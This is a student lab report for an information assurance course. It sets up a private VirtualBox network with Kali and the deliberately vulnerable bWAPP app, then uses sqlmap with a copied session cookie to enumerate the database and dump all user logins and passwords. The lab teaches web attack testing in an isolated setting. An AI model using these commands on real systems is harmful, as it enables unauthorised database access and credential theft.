Remote Database Access with SQLMap

Kaitlyn Dollberg

CIST 3381 Information Assurance

Fall 2020

**Overview:**

In this exercise, load Ubuntu 14.04 32bit with the network setting for intnet and Kali with the network settings for adapter 1 as NAT and adapter 2 as intnet. With bWAPP (BeeBox) downloaded on Ubuntu, the BeeBox website will be used to demonstrate SQLMap. Kali Linux is used with SQLMap to attempt an attack on the BeeBox database. It is expected that some form of injection will be successful such that the database will be viewable from SQLMap. There may be a firewall anticipated but there are methods that allow a bypass through some firewalls.

**Resources:**

Oracle VirtualBox

SQLMap: Preloaded onto Kali Linux 64Bit: sqlmap.org

Ubuntu 14.04 32Bit with Bee-Box

This project was performed on a 2013 MacBook Pro running Oracle VirtualBox

**VirtualBox set-up:**

Download Oracle VirtualBox here: <https://www.virtualbox.org/wiki/Downloads>

Proceed with the installer to set up VirtualBox as recommended.

Download the Ubuntu server ISO 32bit here: <https://releases.ubuntu.com/14.04/>

Download Kali Linux 64bit installer here: <https://www.kali.org/downloads/>

Once Oracle VirtualBox is set up, open the application. Add a new VM by clicking Shape

Description automatically generated.

Name it Kali64bit and change the type to Linux as well as the version to Debian 64bit. On the following pages, keep the recommended memory size and then create a virtual hard disk now. The hard disk file type is VDI and keep the dynamically allocated hard disk option. Choose the preferred location for the VM or continue with the default one provided. Change the size of the virtual disk to 32GB. Click OK.

Now, create another new VM. Name it Ubuntu32bit and change the type to Linux as well as the version to Ubuntu 32bit. On the following pages, keep the recommended memory size and then create a virtual hard disk now. The hard disk file type is VDI and keep the dynamically allocated hard disk option. Choose the preferred location for the VM or continue with the default one provided. Change the size of the virtual disk to 32GB. Click OK.

After both are created, click the settings button Icon

Description automatically generated on Kali64bit. Under system, make sure the “Enable EFI” is unchecked. Under Display, change the Graphics Controller option to “VBoxSVGA”. Under Storage, click the option “Empty” in the left-hand panel.

Graphical user interface, text, application

Description automatically generated Graphical user interface, application

Description automatically generated

On the right-hand panel, click the small blue disk located next to the drop down menu that says “IDE Secondary Master”. Click “Choose a disk file…” and navigate to the disk image that was downloaded for Kali64bit.

Under Audio, uncheck “Enable Audio”. Under Network, make sure Adapter 1 is enabled and the option “Attached to:” should read NAT. If it does not, change it in the dropdown menu. Make sure Adapter 2 is also enabled. Next to “Attached to:” change the dropdown menu to read “Internal Network”. The name will default to “intnet”. This will complete the setting requirements for Kali.

Click the settings button on Ubuntu32bit. Under system, make sure the “Enable EFI” is unchecked. Under Display, change the Graphics Controller option to “VBoxSVGA”. Under Storage, click the option “Empty” in the left-hand panel.

Graphical user interface, text, application

Description automatically generated Graphical user interface, application

Description automatically generated

On the right-hand panel, click the small blue disk located next to the drop down menu that says “IDE Secondary Master”. Click “Choose a disk file…” and navigate to the disk image that was downloaded for Ubuntu32bit.

Under Audio, uncheck “Enable Audio”. Under Network, make sure Adapter 1 is enabled and the option “Attached to:” should read “NAT”. If it does not, change it in the dropdown menu.

Once both machines’ settings have been properly set, start Ubuntu32bit. The first window that will appear will look like this:

Graphical user interface, text, application

Description automatically generated

Click the folder with the green arrow and click the file that is named under “Attached” (this should be the same file that we attached earlier in the Storage settings) then click ok. You will then be prompted to set up the OS. Follow all steps accordingly, this may take some time.

Once Ubuntu is set up, it will just look like a terminal. The GUI for the desktop must be downloaded. To do this, type:

*sudo apt-get update && sudo apt-get upgrade*

Press yes to continue. Then type:

*sudo apt-get install tasksel*

Once it is finished installing, type:

*tasksel*

Using arrows keys, navigate to the “Choose software to install:” option *LAMP server*. Press spacebar to select it and then tab to accept the choices. Allow everything to download. Once the downloads are complete, save the machine state and shutdown the machine.

Reboot Ubuntu32bit and log in with the username and password you entered on the initial set up of the Ubuntu machine. Open the terminal and type:

*sudo nano /etc/network/interfaces*

This will open a text file editor. Make sure the last lines say:

*# The primary network interface*

*auto eth0*

*iface eth0 inet dhcp*

Then 2 lines below that add:

*auto eth1*

*iface eth1 inet static*

*address 192.168.100.125*

*netmask 255.255.255.0*

*#gateway 192.168.100.1*

Press control + X to save and exit.

Next, open Firefox and navigate to:

[*https://sourceforge.net/projects/bwapp/files/bWAPP/*](https://sourceforge.net/projects/bwapp/files/bWAPP/)

Download the latest version of bWAPP. Take note of where the file is saved. Once the file has downloaded, unzip the file and take note of where the unzipped file is saved. Within the unzipped folder, there is a file titled “INSTALL.txt” follow all instructions to properly install BeeBox onto Ubuntu.

After BeeBox is set up properly, you should be able to see the BeeBox webpage when navigating to:

[*http://localhost/bWAPP\_latest/bWAPP/*](http://localhost/bWAPP_latest/bWAPP/)

Save the machine state and shut down the machine. Go to Ubuntu32bit settings and change the Network Adapter 1 from “NAT” to “Internal Network”. The default name will appear as “intnet”. Click OK.

Graphical user interface, text, application

Description automatically generated

Start the Kali64bit machine. The first window that will appear will look like this:

Graphical user interface, text, application

Description automatically generated

Click the folder with the green arrow and click the file that is named under “Attached” (this should be the same file that we attached earlier in the Storage settings) then click ok. You will be prompted to set up the machine, follow the instructions to set it up appropriately. It may take some time for everything to load. Once everything is properly set up, save the machine state and shut down the machine.

Start Kali64bit and log in with the username and password that you set up when initially starting up the Kali machine.

Open the terminal and type:

*sudo nano /etc/network/interfaces*

This will open a text file editor. Make sure the last lines say:

*# The lookback network interface*

*auto lo*

*iface lo inet loopback*

Then 2 lines below that add:

*auto eth0*

*iface eth0 inet dhcp*

*auto eth1*

*iface eth1 inet static*

*address 192.168.100.110*

*netmask 255.255.255.0*

*gateway 192.168.100.1*

Press control + X to save and exit. Keep Kali64bit machine running with the terminal open.

Start the Ubuntu32bit machine and log in again.

On Firefox, navigate to:

[*http://localhost/bWAPP\_latest/bWAPP/*](http://localhost/bWAPP_latest/bWAPP/)

Log in with the username/password: *bee/bug*, respectively, then select the test to be performed as SQL Injection (GET/SEARCH). Search for any movie title.

**Hands-on activity steps:**

Once both virtual machines are set up, open the terminal in Ubuntu and type *ifconfig*. This will list the IP address for the machine which we will use in Kali to perform the attack.

Back in the web browser, click the button with the 3 bars next to the URL.



Select “Web Developer” then “Storage Inspector”.

Graphical user interface, text, application, email

Description automatically generated Graphical user interface, text, application, chat or text message

Description automatically generated

Under cookies, select localhost and this will bring up the cookies for your session on the site. Clicking on each name will display the code for each cookie.

Graphical user interface, text, application, chat or text message

Description automatically generated

Graphical user interface, text, application

Description automatically generated Graphical user interface, text, application

Description automatically generated

Do not close the Firefox browser or shut off Ubuntu32bit.

Open the terminal in Kali and type:

*Sqlmap -u “*[*http://192.168.100.125/bWAPP\_latest/bWAPP/sqli\_1.php?title=*](http://192.168.100.125/bWAPP_latest/bWAPP/sqli_1.php?title=)*” --cookie=”PHPSESSID=hgpmkhql49ut6ljhaa9cr0k531;security\_level=0” --dbs*

\*\*The PHPSESSID will be different for each session.

After hitting Enter, the program will run through the test. The final result should look like:

Text

Description automatically generated

Now, to enter into a database we simply add the command:

*Sqlmap -u “*[*http://192.168.100.125/bWAPP\_latest/bWAPP/sqli\_1.php?title=*](http://192.168.100.125/bWAPP_latest/bWAPP/sqli_1.php?title=)*” --cookie=”PHPSESSID=hgpmkhql49ut6ljhaa9cr0k531;security\_level=0” -D bWAPP --tables*

This will show all the tables in the bWAPP database.

To look into a specific table add the command:

*Sqlmap -u “*[*http://192.168.100.125/bWAPP\_latest/bWAPP/sqli\_1.php?title=*](http://192.168.100.125/bWAPP_latest/bWAPP/sqli_1.php?title=)*” --cookie=”PHPSESSID=hgpmkhql49ut6ljhaa9cr0k531;security\_level=0” -D bWAPP -T users --columns*

This will show all the columns that make up the users table.

To return a list of entries within a certain table use the command:

*Sqlmap -u “*[*http://192.168.100.125/bWAPP\_latest/bWAPP/sqli\_1.php?title=*](http://192.168.100.125/bWAPP_latest/bWAPP/sqli_1.php?title=)*” --cookie=”PHPSESSID=hgpmkhql49ut6ljhaa9cr0k531;security\_level=0” -D bWAPP -T users -C login,password --dump*

This command will return a query of every login and password stored in the users table.

**Discussion:**

This went much smoother than last time. After all of the network kinks were figured out, the attack was immediately successful. I have not yet tested beebox on a higher security level but I would like to see what is different and other things that would need to be done in comparison to what was done on the lowest security level.